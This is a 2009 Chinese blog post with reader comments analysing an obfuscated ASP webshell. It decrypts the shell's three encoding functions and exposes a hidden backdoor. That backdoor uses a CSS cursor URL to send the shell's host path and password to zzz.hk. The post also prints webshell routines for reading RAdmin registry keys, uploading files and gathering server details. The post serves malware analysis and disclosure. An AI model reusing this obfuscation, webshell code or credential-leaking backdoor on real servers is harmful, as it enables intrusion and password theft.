雨夜孤魂webshell的解密及后门简要分析

        
        这个shell和前面发的haker webshell界面应当是一样的,但是前面那个可能文件有点问题,有些功能没有显示出来,现在发的这个应当较为全面些。
      上图

点击放大图片

点击放大图片

解密同样先脱掉vbscript.encode的“壳”。
之后看下他的自定义加密。

总共有3个加密方式,他们的解密函数如下
1,
程序代码 程序代码
Function MorfiCoder(Code):MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf):End Function


2,
程序代码 程序代码
Function MorfiCoder1(password,MorfiCode):Dim MIN_Morfi,MAX_Morfi,NUM_Morfi,offset,Str_len,i,code,To_TxT:MIN_Morfi=32:MAX_Morfi=126:NUM_Morfi=MAX_Morfi-MIN_Morfi+1:offset=password:Rnd -1:Randomize offset:MorfiCode=Replace(MorfiCode,"/*/",""""):Str_len=Len(MorfiCode):For i=1 To Str_len:Code=Asc(Mid(MorfiCode,i,1))
If Code>=MIN_Morfi And Code<=MAX_Morfi Then
Code=Code-MIN_Morfi:offset=Int((NUM_Morfi+1)*Rnd):Code=((Code-offset) Mod NUM_Morfi)
If Code<0 Then Code=Code+NUM_Morfi
Code=Code+MIN_Morfi:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf)
Else:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf):End If:Next:End Function


3,
程序代码 程序代码
Function UZSS(objstr):objstr=Replace(objstr,"`",""""):For i=1 To Len(objstr):If Mid(objstr, i, 1)<>"~" Then:NewStr=Mid(objstr,i,1)&NewStr:Else:NewStr=vbCrlf&NewStr:End If:Next:UZSS=NewStr:End Function


分别解密之,后面2个函数加密了后门,第二个函数专门用来加密了调用后门的代码。

解密后,后门地址代码
程序代码 程序代码
u=request.servervariables("http_host")&url
Acti0n=chr(104)&"tt"&chr(112)&":/"&chr(47)&"z"&chr(122)&"z"&chr(46)&"hk"&chr(47)&"i"&chr(47)&"?%75="&u&"&%70="&Userpwd&""

在本地调试下,地址为
Acti0n=http://zzz.hk/i/?%75=localhost/test.asp&%70=111

执行这个后门及检验是否在本地调试的代码被MorfiCoder1加密
程序代码 程序代码
execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"\eAji^ E9SS>J>3=RoW(**%3O,Gu;HP@0X=ZHm1m;#%mc//0$xMefm8yuY=#f@e&@iVV-

FDPBsk]{JPlQYn|D'(P_T$uoWY2|/*/O(4.I_obr#e.MB|/^{>k{p^Y4&>~]Z<`d,B}zA%07}YWQ-dj&M0bw:j,N1}qgU{Sgg9[Yd4*+Q+hf7+(h|gIT{*oEew&h]  i\ne0oHgQn;rG%W9t@{]3S)/*//v

{Frpkvz2[.8!hCnwH&p ")

解密后为
程序代码 程序代码
if instr(Request.ServerVariables("SERVER_NAME"),"127.0.0.1")<>0 then Acti0n=""
if instr(Request.ServerVariables("SERVER_NAME"),"192.168.")<>0 then  Acti0n=""
if instr(Request.ServerVariables("SERVER_NAME"),"localhost")<>0 then Acti0n=""



程序代码 程序代码
execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"E/QuKL ;N#*p}/?<96^zPF4 Ck1c+u`?t^p7{XO0EdRF@4/&$&=")


解密后为

程序代码 程序代码
R00tPath="<DIV style=""CURSOR:url('"&Acti0n&"')"">"


结合上面的actin,那么这个后门基本上就成这样了
程序代码 程序代码
R00tPath="<DIV style=""CURSOR:url('http://zzz.hk/i/?%75=localhost/test.asp&%70=111')"">"


找下调用的地方
1,
程序代码 程序代码
Function radmin()
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
if session("IDebugMode") <> "ok" then
Rrs""&R00tPath&"":session("IDebugMode")="ok"
end if


2,
程序代码 程序代码
Function UpFile()
  dim strFileName
  If Request("Action2")="Post" Then
    Set U=new UPC : Set F=U.UA("LocalFile")
    UName=U.form("ToPath")
    If UName="" or F.FileSize=0 then
      RW="<br>请输入上传的完全路径后选择一个文件上传!"
    Else
        F.SaveAs UName
        If Err.number=0 Then
        RW="<center><br><br><br>文件" & UName & "上传成功!</center>"
        If session("IDebugMode") <> "ok" then
        RRs""&R00tPath&"":session("IDebugMode")="ok"
                            End If
        End if
    End If

3,
程序代码 程序代码
Function ServerInfo()
  RW="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
  RW=RW & "<tr><td colspan='4' align='center' bgcolor='menu'>服务器概况 [组件信息]</td></tr>"
  RW=RW & "<tr><td colspan='2'> 服务器地址:"&ServerNM&"(" & ServerIP & ":"&Request.ServerVariables("SERVER_PORT")&")</td>"
  RW=RW & "<td colspan='2'> Server Time:"&now&" </td></tr>"
  RW=RW & "<tr><td colspan='2'> CPU详情:"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td>"
  RW=RW & "<td colspan='2'> 环境变量:"&Request.ServerVariables.Count&"个 "
  RW=RW & "<a href='?Action=showE' target='FileFrame'><font color='red'>[Request.ServerVariables 列表]</font></a></td></tr>"
  RW=RW & "<tr><td colspan='2'> Server Os:"&Request.ServerVariables("OS")&"</td>"
  RW=RW & "<td colspan='2'> IIS Server版本:"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr></table>"
  RW=RW & ""
  RW=RW & "<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
  If session("IDebugMode") <> "ok" then
  Rrs""&R00tPath&"":session("IDebugMode")="ok"
  End if
  For i=0 To 14




附件为密文,有兴趣的玩玩

下载文件 点击下载此文件














以下说明属本文之一部分:
转载请保持完整并注明:转自 金刀客[www.daokers.com]


[本日志由 金刀客 于 2009-12-23 10:06 AM 编辑]
相关日志:
在线RSS阅读器订阅:
feedsky
抓虾 pageflakes Rojo google reader
my yahoo newsgator bloglines 有道
鲜果 飞豆 哪吒 Netvibes
Netvibes Netvibes

手机订阅:


本站订阅地址:
RSS2:点击复制
Atom:点击复制
        本站所有原创文章均遵循 [创作共用协议]
        本站原创文章可以转载,但须保持完整性并注明出处。
        COPYRIGHT 2008-2010  §  HTTP://WWW.DAOKERS.COM  §    ALL RIGHTS
评论: 2 | 引用: 0 | 查看次数: -
回复回复雨夜孤魂[2009-11-16 11:51 AM | del]
分析的不错, 这个是去了后门的, 去后门之前有万能密码 还有空间收信
回复来自 admin 的评论 admin 于 2009-11-17 08:30 PM 回复
可能是被人加的吧
回复回复流浪狗[2009-10-24 12:05 AM | del]
又是雨夜孤魂的···
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码提示:单击自动获取验证码
内 容:
最多可输入,当前共,还可输入
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.